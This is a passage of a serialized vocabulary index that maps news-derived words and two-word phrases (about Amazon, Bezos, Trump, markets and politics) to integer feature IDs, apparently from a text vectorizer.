martin\": 178788,\n  \"resist thinking\": 178789,\n  \"arctic2\": 178790,\n  \"film based\": 178791,\n  \"dario\": 178792,\n  \"fbi official\": 178793,\n  \"competitive behavior\": 178794,\n  \"avila guillen\": 178795,\n  \"major airlines\": 178796,\n  \"turned commander\": 178797,\n  \"scientist jessica\": 178798,\n  \"androids\": 178799,\n  \"sright\": 178800,\n  \"mailing letters\": 178801,\n  \"nyse kmb\": 178802,\n  \"center substantially\": 178803,\n  \"page demands\": 178804,\n  \"html utm_term\": 178805,\n  \"local community\": 178806,\n  \"cronk notes\": 178807,\n  \"exacerbate economic\": 178808,\n  \"reported additionally\": 178809,\n  \"winning company\": 178810,\n  \"valuation right\": 178811,\n  \"just held\": 178812,\n  \"old themes\": 178813,\n  \"older adult\": 178814,\n  \"fakers\": 178815,\n  \"usa reported\": 178816,\n  \"best practices\": 178817,\n  \"content catch\": 178818,\n  \"zerohedge\": 178819,\n  \"post stuck\": 178820,\n  \"87m boston\": 178821,\n  \"special assistant\": 178822,\n  \"expose bezos\": 178823,\n  \"consumables\": 178824,\n  \"fake users\": 178825,\n  \"hhs\": 178826,\n  \"fictional heroes\": 178827,\n  \"day based\": 178828,\n  \"investigation schiff\": 178829,\n  \"personification jim\": 178830,\n  \"000 deal\": 178831,\n  \"167bn\": 178832,\n  \"zcie3kuo5l pic\": 178833,\n  \"finally\": 178834,\n  \"russia ties\": 178835,\n  \"counsel faces\": 178836,\n  \"including motion\": 178837,\n  \"administration ice\": 178838,\n  \"industry echoed\": 178839,\n  \"profit 2018\": 178840,\n  \"coats\": 178841,\n  \"remember john\": 178842,\n  \"caller founded\": 178843,\n  \"reasona\": 178844,\n  \"brutal richard\": 178845,\n  \"nasdaq dropped\": 178846,\n  \"tell lexington\": 178847,\n  \"female police\": 178848,\n  \"amendment doesn\": 178849,\n  \"qanon apparel\": 178850,\n  \"reports involves\": 178851,\n  \"redfin ceo\": 178852,\n  \"going\": 178853,\n  \"trump deteriorating\": 178854,\n  \"report objectives\": 178855,\n  \"did emphasize\": 178856,\n  \"israel comments\": 178857,\n  \"launched products\": 178858,\n  \"homeowners harvest\": 178859,\n  \"focal point\": 178860,\n  \"department suffers\": 178861,\n  \"housing transportation\": 178862,\n  \"reagan takes\": 178863,\n  \"left cult\": 178864,\n  \"signed replacement\": 178865,\n  \"mainly voted\": 178866,\n  \"concrete impact\": 178867,\n  \"existed\": 178868,\n  \"blip midday\": 178869,\n  \"lift restrictions\": 178870,\n  \"growth delivering\": 178871,\n  \"states stuck\": 178872,\n  \"nelson 51m\": 178873,\n  \"essentially declared\": 178874,\n  \"brands american\": 178875,\n  \"floors norah\": 178876,\n  \"say campaign\": 178877,\n  \"sure users\": 178878,\n  \"print opinion\": 178879,\n  \"law background\": 178880,\n  \"story ibama\": 178881,\n  \"relationship claiming\": 178882,\n  \"catchall\": 178883,\n  \"sarmiento asia\": 178884,\n  \"state efforts\": 178885,\n  \"trump unreality\": 178886,\n  \"mining analysts\": 178887,\n  \"automatic methods\": 178888,\n  \"personal dealings\": 178889,\n  \"cities praying\": 178890,\n  \"comex\": 178891,\n  \"health frostlands\": 178892,\n  \"amazon wait\": 178893,\n  \"story zuckerberg\": 178894,\n  \"aint\": 178895,\n  \"russia stories\": 178896,\n  \"mentally\": 178897,\n  \"citi thanks\": 178898,\n  \"branford deforested\": 178899,\n  \"months bolsonaro\": 178900,\n  \"superstar conductor\": 178901,\n  \"phil amazon\": 178902,\n  \"officials jurisdictions\": 178903,\n  \"macfarquhar nyt\": 178904,\n  \"iphones unless\": 178905,\n  \"lc reported\": 178906,\n  \"heavily reliant\": 178907,\n  \"myers dr\": 178908,\n  \"billions year\": 178909,\n  \"enquirer michael\": 178910,\n  \"weather tab\": 178911,\n  \"manufacturing bureau\": 178912,\n  \"gates watch\": 178913,\n  \"ceo michael\": 178914,\n  \"amazon brain\": 178915,\n  \"quarters griffeth\": 178916,\n  \"mile commerce\": 178917,\n  \"consumer tech\": 178918,\n  \"actually benefited\": 178919,\n  \"matt day\": 178920,\n  \"obama interview\": 178921,\n  \"capri cafaro\": 178922,\n  \"judges concluded\": 178923,\n  \"525 bought\": 178924,\n  \"cut food\": 178925,\n  \"newfound\": 178926,\n  \"largest source\": 178927,\n  \"pretty complicated\": 178928,\n  \"ohio senator\": 178929,\n  \"raise\": 178930,\n  \"vote earlier\": 178931,\n  \"bring false\": 178932,\n  \"trump misused\": 178933,\n  \"m8i r4ee\": 178934,\n  \"research institute\": 178935,\n  \"8220 old\": 178936,\n  \"viral sensation\": 178937,\n  \"surely spend\": 178938,\n  \"average vendor\": 178939,\n  \"city includes\": 178940,\n  \"remains married\": 178941,\n  \"salad trump\": 178942,\n  \"internet governance\": 178943,\n  \"amid deadly\": 178944,\n  \"resurgent political\": 178945,\n  \"trying new\": 178946,\n  \"schroders severinovsky\": 178947,\n  \"publishing 2018\": 178948,\n  \"messy data\": 178949,\n  \"public musings\": 178950,\n  \"hikes think\": 178951,\n  \"guess deals\": 178952,\n  \"stalwart david\": 178953,\n  \"loan agreed\": 178954,\n  \"national networks\": 178955,\n  \"toll going\": 178956,\n  \"giuliani associate\": 178957,\n  \"reading fetal\": 178958,\n  \"fake information\": 178959,\n  \"state related\": 178960,\n  \"offspring\": 178961,\n  \"000 115\": 178962,\n  \"fly sanders\": 178963,\n  \"nyc\": 178964,\n  \"current flawed\": 178965,\n  \"including washington\": 178966,\n  \"guide students\": 178967,\n  \"medicine commented\": 178968,\n  \"complete\": 178969,\n  \"197 381\": 178970,\n  \"record news\": 178971,\n  \"improving benefits\": 178972,\n  \"video won\": 178973,\n  \"warm glow\": 178974,\n  \"measured progress\": 178975,\n  \"rachel chason\": 178976,\n  \"moscow washington\": 178977,\n  \"purple suit\": 178978,\n  \"makes shirts\": 178979,\n  \"sanchez simulating\": 178980,\n  \"tapped lobbying\": 178981,\n  \"netflix earnings\": 178982,\n  \"force established\": 178983,\n  \"agency contractor\": 178984,\n  \"executives point\": 178985,\n  \"revenue jump\": 178986,\n  \"senior justice\": 178987,\n  \"carmakers retailers\": 178988,\n  \"excellent kid\": 178989,\n  \"principal repayment\": 178990,\n  \"later tweeted\": 178991,\n  \"skinny repeal\": 178992,\n  \"lisota technology\": 178993,\n  \"contemporary fiction\": 178994,\n  \"cortez district\": 178995,\n  \"retailer repeatedly\": 178996,\n  \"wasn new\": 178997,\n  \"housing 2416\": 178998,\n  \"industry lawyer\": 178999,\n  \"united way\": 179000,\n  \"subsidizing jobs\": 179001,\n  \"collectors\": 179002,\n  \"candidate criticized\": 179003,\n  \"banning conservative\": 179004,\n  \"report ft\": 179005,\n  \"excluding cars\": 179006,\n  \"repository\": 179007,\n  \"ny gov\": 179008,\n  \"contribution data\": 179009,\n  \"nys\": 179010,\n  \"emerging feuds\": 179011,\n  \"nyse ba\": 179012,\n  \"cultivation\": 179013,\n  \"brings lots\": 179014,\n  \"jinx\": 179015,\n  \"work inventioneers\": 179016,\n  \"fiji water\": 179017,\n  \"personal favorite\": 179018,\n  \"dutch teenager\": 179019,\n  \"nbfcs\": 179020,\n  \"ceo harjinder\": 179021,\n  \"simoes additional\": 179022,\n  \"munger berkshire\": 179023,\n  \"ingels collaborated\": 179024,\n  \"artisan books\": 179025,\n  \"mackenzie support\": 179026,\n  \"getting crushed\": 179027,\n  \"high temperature\": 179028,\n  \"marketplace sellers\": 179029,\n  \"supernatural\": 179030,\n  \"misled\": 179031,\n  \"improved effectiveness\": 179032,\n  \"pecker face\": 179033,\n  \"cash register\": 179034,\n  \"affair complete\": 179035,\n  \"uncovers\": 179036,\n  \"just michael\": 179037,\n  \"rece scandal\": 179038,\n  \"machine landover\": 179039,\n  \"looking little\": 179040,\n  \"phlx\": 179041,\n  \"city apart\": 179042,\n  \"1q84\": 179043,\n  \"mark rogers\": 179044,\n  \"accelerated technology\": 179045,\n  \"thathe\": 179046,\n  \"fitted\": 179047,\n  \"using variety\": 179048,\n  \"nation\": 179049,\n  \"packages markets\": 179050,\n  \"low low\": 179051,\n  \"flu vaccines\": 179052,\n  \"dimensional nyc\": 179053,\n  \"darling\": 179054,\n  \"services amazon\": 179055,\n  \"liberal fake\": 179056,\n  \"rogers nyse\": 179057,\n  \"nonprofits including\": 179058,\n  \"genuinely cares\": 179059,\n  \"transparent cost\": 179060,\n  \"spatt\": 179061,\n  \"mccammond author\": 179062,\n  \"pa left\": 179063,\n  \"giant second\": 179064,\n  \"live continued\": 179065,\n  \"tweetstorm\": 179066,\n  \"type r4ee\": 179067,\n  \"jon favreau\": 179068,\n  \"marshal\": 179069,\n  \"burning question\": 179070,\n  \"drama amazon\": 179071,\n  \"service fortune\": 179072,\n  \"specialize\": 179073,\n  \"guardian notes\": 179074,\n  \"reuters usps\": 179075,\n  \"splc identified\": 179076,\n  \"future salary\": 179077,\n  \"tiered\": 179078,\n  \"ulurp decision\": 179079,\n  \"contracts bloomberg\": 179080,\n  \"book topped\": 179081,\n  \"history month\": 179082,\n  \"later sought\": 179083,\n  \"literature published\": 179084,\n  \"bridge\": 179085,\n  \"sic media\": 179086,\n  \"victories responding\": 179087,\n  \"2017\": 179088,\n  \"jeran wittenstein\": 179089,\n  \"profits rose\": 179090,\n  \"fargo\": 179091,\n  \"app features\": 179092,\n  \"jersey driver\": 179093,\n  \"alias grace\": 179094,\n  \"dense\": 179095,\n  \"tight lipped\": 179096,\n  \"vendors putting\": 179097,\n  \"jets game\": 179098,\n  \"chinese laws\": 179099,\n  \"days pushed\": 179100,\n  \"legend larry\": 179101,\n  \"contactus\": 179102,\n  \"ongoing clash\": 179103,\n  \"nukes\": 179104,\n  \"4x compared\": 179105,\n  \"fit\": 179106,\n  \"funding funding\": 179107,\n  \"manager leon\": 179108,\n  \"biggest energy\": 179109,\n  \"employment component\": 179110,\n  \"juvenile\": 179111,\n  \"tv production\": 179112,\n  \"rosario\": 179113,\n  \"synthetic opioid\": 179114,\n  \"offending material\": 179115,\n  \"online mega\": 179116,\n  \"progressive corporation\": 179117,\n  \"winning authors\": 179118,\n  \"started discussing\": 179119,\n  \"tax jurisdictions\": 179120,\n  \"paper noting\": 179121,\n  \"116 billion\": 179122,\n  \"scan\": 179123,\n  \"resurfacing\": 179124,\n  \"day offers\": 179125,\n  \"edge product\": 179126,\n  \"rafeea\": 179127,\n  \"zremski hey\": 179128,\n  \"hefty price\": 179129,\n  \"korea threatens\": 179130,\n  \"bengaluru writing\": 179131,\n  \"white house\": 179132,\n  \"thrive mainly\": 179133,\n  \"ultimately changes\": 179134,\n  \"testing prep\": 179135,\n  \"charitytuesday votetuesday\": 179136,\n  \"director julia\": 179137,\n  \"haram stones\": 179138,\n  \"rates instead\": 179139,\n  \"olympic games\": 179140,\n  \"world 165\": 179141,\n  \"awaited task\": 179142,\n  \"putting lives\": 179143,\n  \"active traders\": 179144,\n  \"consortium\": 179145,\n  \"303 votes\": 179146,\n  \"devastating fires\": 179147,\n  \"cruz father\": 179148,\n  \"diamonds\": 179149,\n  \"1992 decision\": 179150,\n  \"meteorologist\": 179151,\n  \"vermont concerns\": 179152,\n  \"cloud elon\": 179153,\n  \"netizen\": 179154,\n  \"manipulates trump\": 179155,\n  \"matthew knott\": 179156,\n  \"harding mcgill\": 179157,\n  \"initial release\": 179158,\n  \"spokesperson amazon\": 179159,\n  \"laura just\": 179160,\n  \"showed sales\": 179161,\n  \"economy good\": 179162,\n  \"markey\": 179163,\n  \"companies want\": 179164,\n  \"xxxtentacion slain\": 179165,\n  \"big lego\": 179166,\n  \"inboth\": 179167,\n  \"tm second\": 179168,\n  \"untouchable taxes\": 179169,\n  \"diaspora reversed\": 179170,\n  \"showing lot\": 179171,\n  \"washington metropolitan\": 179172,\n  \"election additionally\": 179173,\n  \"joint venture\": 179174,\n  \"santorum mary\": 179175,\n  \"nbc fox\": 179176,\n  \"actually declined\": 179177,\n  \"mentally retarded\": 179178,\n  \"courtesy lamborghini\": 179179,\n  \"underpaying amazon\": 179180,\n  \"rich corporations\": 179181,\n  \"butthis\": 179182,\n  \"activated\": 179183,\n  \"year starting\": 179184,\n  \"icann org\": 179185,\n  \"employees paid\": 179186,\n  \"services requested\": 179187,\n  \"direct impact\": 179188,\n  \"create lack\": 179189,\n  \"derek thompson\": 179190,\n  \"expenditures primarily\": 179191,\n  \"travel cars\": 179192,\n  \"inception\": 179193,\n  \"goog amazon\": 179194,\n  \"handle potential\": 179195,\n  \"deplorable decals\": 179196,\n  \"networking equipment\": 179197,\n  \"postings billionaire\": 179198,\n  \"objection\": 179199,\n  \"bonuses amazon\": 179200,\n  \"arabia state\": 179201,\n  \"arctic2 pictures\": 179202,\n  \"operation told\": 179203,\n  \"slowly turning\": 179204,\n  \"sit watch\": 179205,\n  \"citizen expectations\": 179206,\n  \"wapichana pointed\": 179207,\n  \"assertions\": 179208,\n  \"merck strain\": 179209,\n  \"economy help\": 179210,\n  \"tag line\": 179211,\n  \"2016 techlash\": 179212,\n  \"brings la\": 179213,\n  \"higher individual\": 179214,\n  \"metro north\": 179215,\n  \"retailer\": 179216,\n  \"function a4\": 179217,\n  \"personal relationships\": 179218,\n  \"scenario does\": 179219,\n  \"immunotherapy clinic\": 179220,\n  \"covenant\": 179221,\n  \"1500\": 179222,\n  \"trump sexual\": 179223,\n  \"turf\": 179224,\n  \"abolish ice\": 179225,\n  \"executive yearning\": 179226,\n  \"kdugan\": 179227,\n  \"masse\": 179228,\n  \"watch folklore\": 179229,\n  \"support american\": 179230,\n  \"developer rewards\": 179231,\n  \"selling transactions\": 179232,\n  \"deal stemmed\": 179233,\n  \"celebrity billionaire\": 179234,\n  \"sears couldn\": 179235,\n  \"enact sweeping\": 179236,\n  \"level cloud\": 179237,\n  \"objectionable earlier\": 179238,\n  \"unsophisticated sellers\": 179239,\n  \"insider follow\": 179240,\n  \"ohioans\": 179241,\n  \"financial history\": 179242,\n  \"noon\": 179243,\n  \"bezos lauren\": 179244,\n  \"grounds\": 179245,\n  \"key details\": 179246,\n  \"briefing settings\": 179247,\n  \"nys legislature\": 179248,\n  \"allegations severe\": 179249,\n  \"rivalry begin\": 179250,\n  \"latest author\": 179251,\n  \"gmail address\": 179252,\n  \"instructed employees\": 179253,\n  \"power considered\": 179254,\n  \"strategy pays\": 179255,\n  \"downton abbey\": 179256,\n  \"amzn choice\": 179257,\n  \"knows\": 179258,\n  \"comet ping\": 179259,\n  \"statistics businesses\": 179260,\n  \"futures edge\": 179261,\n  \"university amazon\": 179262,\n  \"share count\": 179263,\n  \"advantages union\": 179264,\n  \"disclose\": 179265,\n  \"american doesn\": 179266,\n  \"margin fy15\": 179267,\n  \"9781541673533\": 179268,\n  \"treece jtreece406\": 179269,\n  \"amazon closed\": 179270,\n  \"preferences\": 179271,\n  \"editor matt\": 179272,\n  \"commits\": 179273,\n  \"legislature number\": 179274,\n  \"conflict giving\": 179275,\n  \"zacks\": 179276,\n  \"talking singing\": 179277,\n  \"netflix workers\": 179278,\n  \"anita mcbride\": 179279,\n  \"good governance\": 179280,\n  \"kinda broward\": 179281,\n  \"used outsized\": 179282,\n  \"return payments\": 179283,\n  \"titans chip\": 179284,\n  \"calls fake\": 179285,\n  \"usps veteran\": 179286,\n  \"fool\": 179287,\n  \"item usually\": 179288,\n  \"understandably freaked\": 179289,\n  \"birther\": 179290,\n  \"apolitical transformer\": 179291,\n  \"aviator\": 179292,\n  \"expansion rep\": 179293,\n  \"setting race\": 179294,\n  \"pacb\": 179295,\n  \"president xi\": 179296,\n  \"465 122\": 179297,\n  \"nuclear experts\": 179298,\n  \"dot dailydot\": 179299,\n  \"insider dealing\": 179300,\n  \"amazon care\": 179301,\n  \"abu\": 179302,\n  \"argus\": 179303,\n  \"sixth\": 179304,\n  \"fierce feminist\": 179305,\n  \"ceo longtime\": 179306,\n  \"mention president\": 179307,\n  \"mindshare medical\": 179308,\n  \"u003c cnn\": 179309,\n  \"statements attributed\": 179310,\n  \"mancismarvellous\": 179311,\n  \"potential summit\": 179312,\n  \"military history\": 179313,\n  \"denouncing\": 179314,\n  \"enquirer tried\": 179315,\n  \"detected\": 179316,\n  \"drugs irbesartan\": 179317,\n  \"adult sizes\": 179318,\n  \"aurora movie\": 179319,\n  \"apps stephanie\": 179320,\n  \"beast request\": 179321,\n  \"dare question\": 179322,\n  \"envisions empowering\": 179323,\n  \"saut\": 179324,\n  \"cocktail crowd\": 179325,\n  \"america liuna\": 179326,\n  \"schoolers disabled\": 179327,\n  \"videos comment\": 179328,\n  \"distorting\": 179329,\n  \"akron\": 179330,\n  \"temporary structure\": 179331,\n  \"alpha\": 179332,\n  \"streaming services\": 179333,\n  \"line versus\": 179334,\n  \"mark kennedy\": 179335,\n  \"000 640\": 179336,\n  \"putin press\": 179337,\n  \"conditions create\": 179338,\n  \"stuck unable\": 179339,\n  \"pizzagate subsection\": 179340,\n  \"downside potential\": 179341,\n  \"index hit\": 179342,\n  \"making alexa\": 179343,\n  \"lastmodifiedstate\": 179344,\n  \"article expediting\": 179345,\n  \"afp donald\": 179346,\n  \"having dampened\": 179347,\n  \"plus 169\": 179348,\n  \"stock markets\": 179349,\n  \"nav portfolio\": 179350,\n  \"guilty parties\": 179351,\n  \"obrador branded\": 179352,\n  \"6_5 ad\": 179353,\n  \"remained consistent\": 179354,\n  \"trump introduce\": 179355,\n  \"controversial proposal\": 179356,\n  \"market morning\": 179357,\n  \"400 americans\": 179358,\n  \"create tight\": 179359,\n  \"solidifying\": 179360,\n  \"online news\": 179361,\n  \"297 shares\": 179362,\n  \"carriers began\": 179363,\n  \"mail review\": 179364,\n  \"crime parlours\": 179365,\n  \"josh bates\": 179366,\n  \"bio quick\": 179367,\n  \"send board\": 179368,\n  \"applying\": 179369,\n  \"s0 f4\": 179370,\n  \"uk increase\": 179371,\n  \"stellar boxing\": 179372,\n  \"goal apple\": 179373,\n  \"financially feasible\": 179374,\n  \"state suit\": 179375,\n  \"800 000\": 179376,\n  \"ripe target\": 179377,\n  \"grossman chairperson\": 179378,\n  \"rethinking restrictions\": 179379,\n  \"leak sanchez\": 179380,\n  \"ian\": 179381,\n  \"apparel jewelry\": 179382,\n  \"empirical capital\": 179383,\n  \"positive results\": 179384,\n  \"replace pivotal\": 179385,\n  \"annie linskey\": 179386,\n  \"increasingly blamed\": 179387,\n  \"celebrate\": 179388,\n  \"sgn announces\": 179389,\n  \"reserve\": 179390,\n  \"i1 _0x\": 179391,\n  \"equality party\": 179392,\n  \"sreally\": 179393,\n  \"judicial nomination\": 179394,\n  \"estimates cut\": 179395,\n  \"x2x g8\": 179396,\n  \"loftier long\": 179397,\n  \"posted cristina\": 179398,\n  \"water coolers\": 179399,\n  \"mln reported\": 179400,\n  \"2017 ice\": 179401,\n  \"session prime\": 179402,\n  \"bellow\": 179403,\n  \"citizens opposed\": 179404,\n  \"wage poll\": 179405,\n  \"ashes patty\": 179406,\n  \"important needs\": 179407,\n  \"persists\": 179408,\n  \"warren harris\": 179409,\n  \"jennifer garner\": 179410,\n  \"congress members\": 179411,\n  \"article noteworthy\": 179412,\n  \"bestseller spot\": 179413,\n  \"change catastrophe\": 179414,\n  \"sinema responded\": 179415,\n  \"tells different\": 179416,\n  \"cloud capability\": 179417,\n  \"t9x a4ee\": 179418,\n  \"study seriously\": 179419,\n  \"peter stormare\": 179420,\n  \"implement artificial\": 179421,\n  \"deflecting entry\": 179422,\n  \"kept general\": 179423,\n  \"usual slew\": 179424,\n  \"include brick\": 179425,\n  \"comeback\": 179426,\n  \"jp 1150x540\": 179427,\n  \"russia story\": 179428,\n  \"dermot\": 179429,\n  \"digital retailer\": 179430,\n  \"discourage voting\": 179431,\n  \"mayor ceo\": 179432,\n  \"time mandated\": 179433,\n  \"english channel\": 179434,\n  \"googl amazon\": 179435,\n  \"plausible\": 179436,\n  \"tweeted learn\": 179437,\n  \"authorities zeroing\": 179438,\n  \"linkedin billionaire\": 179439,\n  \"kempf\": 179440,\n  \"stipulation\": 179441,\n  \"atom\": 179442,\n  \"response refreshed\": 179443,\n  \"cook confronts\": 179444,\n  \"coalition effort\": 179445,\n  \"order delivery\": 179446,\n  \"improvements nashville\": 179447,\n  \"assemblymembers nily\": 179448,\n  \"act tony\": 179449,\n  \"billionaire secrets\": 179450,\n  \"current atmosphere\": 179451,\n  \"providers politico\": 179452,\n  \"tweeted foxnews\": 179453,\n  \"packages meaning\": 179454,\n  \"packages yr\": 179455,\n  \"sophie gilbert\": 179456,\n  \"using securities\": 179457,\n  \"largest collection\": 179458,\n  \"data drawn\": 179459,\n  \"views 2018\": 179460,\n  \"deadlines\": 179461,\n  \"reactive logistics\": 179462,\n  \"charge sales\": 179463,\n  \"geographyiq\": 179464,\n  \"claims false\": 179465,\n  \"convicted environmental\": 179466,\n  \"virginia tennessee\": 179467,\n  \"jann\": 179468,\n  \"right say\": 179469,\n  \"drawings vulnerabilities\": 179470,\n  \"boardroom\": 179471,\n  \"tools built\": 179472,\n  \"accumulated 593\": 179473,\n  \"post 2008\": 179474,\n  \"idiq award\": 179475,\n  \"sufficient power\": 179476,\n  \"specific content\": 179477,\n  \"clippings\": 179478,\n  \"news town\": 179479,\n  \"trendier\": 179480,\n  \"wearing shorts\": 179481,\n  \"money cohen\": 179482,\n  \"119 effective\": 179483,\n  \"using map\": 179484,\n  \"walmart jacob\": 179485,\n  \"presidents stretching\": 179486,\n  \"865\": 179487,\n  \"response bezos\": 179488,\n  \"minnesota says\": 179489,\n  \"glance trump\": 179490,\n  \"honky\": 179491,\n  \"future increases\": 179492,\n  \"hesitation\": 179493,\n  \"true shopping\": 179494,\n  \"trump prompting\": 179495,\n  \"segment versus\": 179496,\n  \"held office\": 179497,\n  \"itc issue\": 179498,\n  \"sleaziness\": 179499,\n  \"circle tom\": 179500,\n  \"distorted material\": 179501,\n  \"border separations\": 179502,\n  \"feast food\": 179503,\n  \"scientologist swears\": 179504,\n  \"capt\": 179505,\n  \"samsung misses\": 179506,\n  \"responsive\": 179507,\n  \"fearstrump\": 179508,\n  \"caucus oncapitol\": 179509,\n  \"result everybody\": 179510,\n  \"wealth transfers\": 179511,\n  \"stay huddled\": 179512,\n  \"announcement today\": 179513,\n  \"een huis\": 179514,\n  \"customers increased\": 179515,\n  \"press tokyo\": 179516,\n  \"ed9ddaa2ae4f4eddae12b6bed99b8375\": 179517,\n  \"exclusive leader\": 179518,\n  \"sanjeev\": 179519,\n  \"del\": 179520,\n  \"isolation bolsonaro\": 179521,\n  \"oil positions\": 179522,\n  \"mirrored work\": 179523,\n  \"20stories\": 179524,\n  \"job kimmel\": 179525,\n  \"york fed\": 179526,\n  \"platform provider\": 179527,\n  \"significant market\": 179528,\n  \"centers union\": 179529,\n  \"employees sanders\": 179530,\n  \"called skinny\": 179531,\n  \"support family\": 179532,\n  \"main purpose\": 179533,\n  \"1040 contains\": 179534,\n  \"major blackout\": 179535,\n  \"times anonymous\": 179536,\n  \"harris knew\": 179537,\n  \"annual event\": 179538,\n  \"staged publicity\": 179539,\n  \"political environment\": 179540,\n  \"emil pitkin\": 179541,\n  \"hiking suggestions\": 179542,\n  \"eventually scaling\": 179543,\n  \"exactly right\": 179544,\n  \"randy\": 179545,\n  \"net deficit\": 179546,\n  \"amazing rubenstein\": 179547,\n  \"spokeswoman jodi\": 179548,\n  \"reform postponing\": 179549,\n  \"contribution embed\": 179550,\n  \"nydj women\": 179551,\n  \"founding fathers\": 179552,\n  \"leads jeff\": 179553,\n  \"dramatic account\": 179554,\n  \"late stage\": 179555,\n  \"trust trump\": 179556,\n  \"company broadcom\": 179557,\n  \"decently workers\": 179558,\n  \"buenas dias\": 179559,\n  \"commentator pirro\": 179560,\n  \"rearview mirror\": 179561,\n  \"birthday buzzfeed\": 179562,\n  \"detailed plan\": 179563,\n  \"siu trustee\": 179564,\n  \"gray area\": 179565,\n  \"businesses businesses\": 179566,\n  \"sources close\": 179567,\n  \"real response\": 179568,\n  \"big factor\": 179569,\n  \"obvious reasons\": 179570,\n  \"yrc\": 179571,\n  \"shopping network\": 179572,\n  \"dan stevens\": 179573,\n  \"options activity\": 179574,\n  \"democratic mayor\": 179575,\n  \"helped earnings\": 179576,\n  \"loyalist base\": 179577,\n  \"encouraged readers\": 179578,\n  \"1969\": 179579,\n  \"global scale\": 179580,\n  \"ig\": 179581,\n  \"revenues newsweek\": 179582,\n  \"significant uncertainty\": 179583,\n  \"media reported\": 179584,\n  \"long looked\": 179585,\n  \"plan override\": 179586,\n  \"flub remember\": 179587,\n  \"court justice\": 179588,\n  \"churn\": 179589,\n  \"saw profits\": 179590,\n  \"make fully\": 179591,\n  \"growth led\": 179592,\n  \"mayfield heights\": 179593,\n  \"priority growth\": 179594,\n  \"deniers\": 179595,\n  \"manhattan democratic\": 179596,\n  \"revelations\": 179597,\n  \"walter mosley\": 179598,\n  \"value equivalent\": 179599,\n  \"visit reopened\": 179600,\n  \"thing republicans\": 179601,\n  \"interventions\": 179602,\n  \"physical markets\": 179603,\n  \"tightly controlled\": 179604,\n  \"tru holdings\": 179605,\n  \"wilson website\": 179606,\n  \"incorporated owns\": 179607,\n  \"worst stock\": 179608,\n  \"burn acne\": 179609,\n  \"seat amazon\": 179610,\n  \"world chip\": 179611,\n  \"sec pompeo\": 179612,\n  \"charges commerce\": 179613,\n  \"lauren gonzales\": 179614,\n  \"vitalhub\": 179615,\n  \"jeff gundlach\": 179616,\n  \"remains washington\": 179617,\n  \"project moves\": 179618,\n  \"catching lawbreaker\": 179619,\n  \"house task\": 179620,\n  \"crying charlie\": 179621,\n  \"romanian pimps\": 179622,\n  \"harmless revelry\": 179623,\n  \"expanding workloads\": 179624,\n  \"fahrenheit\": 179625,\n  \"opening 000\": 179626,\n  \"rome budget\": 179627,\n  \"23am bigbusiness\": 179628,\n  \"build sought\": 179629,\n  \"going attributable\": 179630,\n  \"chaffetz utah\": 179631,\n  \"powell following\": 179632,\n  \"region region\": 179633,\n  \"means lower\": 179634,\n  \"retirement knowing\": 179635,\n  \"hiccup\": 179636,\n  \"advised reporters\": 179637,\n  \"analogy\": 179638,\n  \"molly ringwald\": 179639,\n  \"gb10bdb0x0\": 179640,\n  \"fair reporter\": 179641,\n  \"big real\": 179642,\n  \"abc photo\": 179643,\n  \"good reliable\": 179644,\n  \"exclusive trafigura\": 179645,\n  \"hottest areas\": 179646,\n  \"badger\": 179647,\n  \"search warrants\": 179648,\n  \"riedel\": 179649,\n  \"bravely serve\": 179650,\n  \"reported financial\": 179651,\n  \"fahrenthold\": 179652,\n  \"rightfully\": 179653,\n  \"insecure regina\": 179654,\n  \"interests abramowitz\": 179655,\n  \"trap liberals\": 179656,\n  \"stone says\": 179657,\n  \"major sectors\": 179658,\n  \"led homeless\": 179659,\n  \"housing john\": 179660,\n  \"lying\": 179661,\n  \"olaoluwa abimbola\": 179662,\n  \"atlantic frum\": 179663,\n  \"n3x r4ee\": 179664,\n  \"adequate bang\": 179665,\n  \"wattage\": 179666,\n  \"secured revised\": 179667,\n  \"ago according\": 179668,\n  \"845\": 179669,\n  \"assange london\": 179670,\n  \"trees saw\": 179671,\n  \"conservative commenter\": 179672,\n  \"abortion litmus\": 179673,\n  \"football team\": 179674,\n  \"trump bankruptcies\": 179675,\n  \"donaldjtrumpjr status\": 179676,\n  \"split stars\": 179677,\n  \"dangerous trump\": 179678,\n  \"bezos owns\": 179679,\n  \"net edwin\": 179680,\n  \"compressed mueller\": 179681,\n  \"baltxqyvjbpic\": 179682,\n  \"yaeger little\": 179683,\n  \"money spent\": 179684,\n  \"investigators work\": 179685,\n  \"practices seen\": 179686,\n  \"online check\": 179687,\n  \"home garden\": 179688,\n  \"sensex\": 179689,\n  \"standing repercussions\": 179690,\n  \"changed new\": 179691,\n  \"32billion\": 179692,\n  \"impurity\": 179693,\n  \"busting young\": 179694,\n  \"construction boom\": 179695,\n  \"responsiveimage\": 179696,\n  \"brought presidential\": 179697,\n  \"amazon barnes\": 179698,\n  \"subpoena trump\": 179699,\n  \"princess ida\": 179700,\n  \"companies enormous\": 179701,\n  \"dropped unexpectedly\": 179702,\n  \"takeaways president\": 179703,\n  \"laying people\": 179704,\n  \"arrow amazon\": 179705,\n  \"empowerment\": 179706,\n  \"original statute\": 179707,\n  \"solidly pragmatic\": 179708,\n  \"quantities\": 179709,\n  \"events creating\": 179710,\n  \"punish technology\": 179711,\n  \"unknowingly participated\": 179712,\n  \"reported yesterday\": 179713,\n  \"surpasses facebook\": 179714,\n  \"voice controlled\": 179715,\n  \"corporate giants\": 179716,\n  \"inflame\": 179717,\n  \"authorities regarding\": 179718,\n  \"david koch\": 179719,\n  \"keynote speaker\": 179720,\n  \"google spokesperson\": 179721,\n  \"resources officer\": 179722,\n  \"lander spacecraft\": 179723,\n  \"year globally\": 179724,\n  \"governments pledged\": 179725,\n  \"played role\": 179726,\n  \"strategy saying\": 179727,\n  \"amy morris\": 179728,\n  \"hakeem\": 179729,\n  \"lending according\": 179730,\n  \"latest saudi\": 179731,\n  \"reported maybe\": 179732,\n  \"book trump\": 179733,\n  \"russian troll\": 179734,\n  \"reducing cancer\": 179735,\n  \"order producing\": 179736,\n  \"delivered paradigm\": 179737,\n  \"axios representative\": 179738,\n  \"insurance military\": 179739,\n  \"vanity perquisites\": 179740,\n  \"limbo barrier\": 179741,\n  \"worth republicans\": 179742,\n  \"finally say\": 179743,\n  \"cautionary tale\": 179744,\n  \"myers\": 179745,\n  \"schwietzer responded\": 179746,\n  \"accurate picture\": 179747,\n  \"progressive causes\": 179748,\n  \"consulting online\": 179749,\n  \"godless\": 179750,\n  \"york governor\": 179751,\n  \"invented wifi\": 179752,\n  \"432\": 179753,\n  \"flesh\": 179754,\n  \"blackmailer hours\": 179755,\n  \"clear sturdy\": 179756,\n  \"deepwater horizon\": 179757,\n  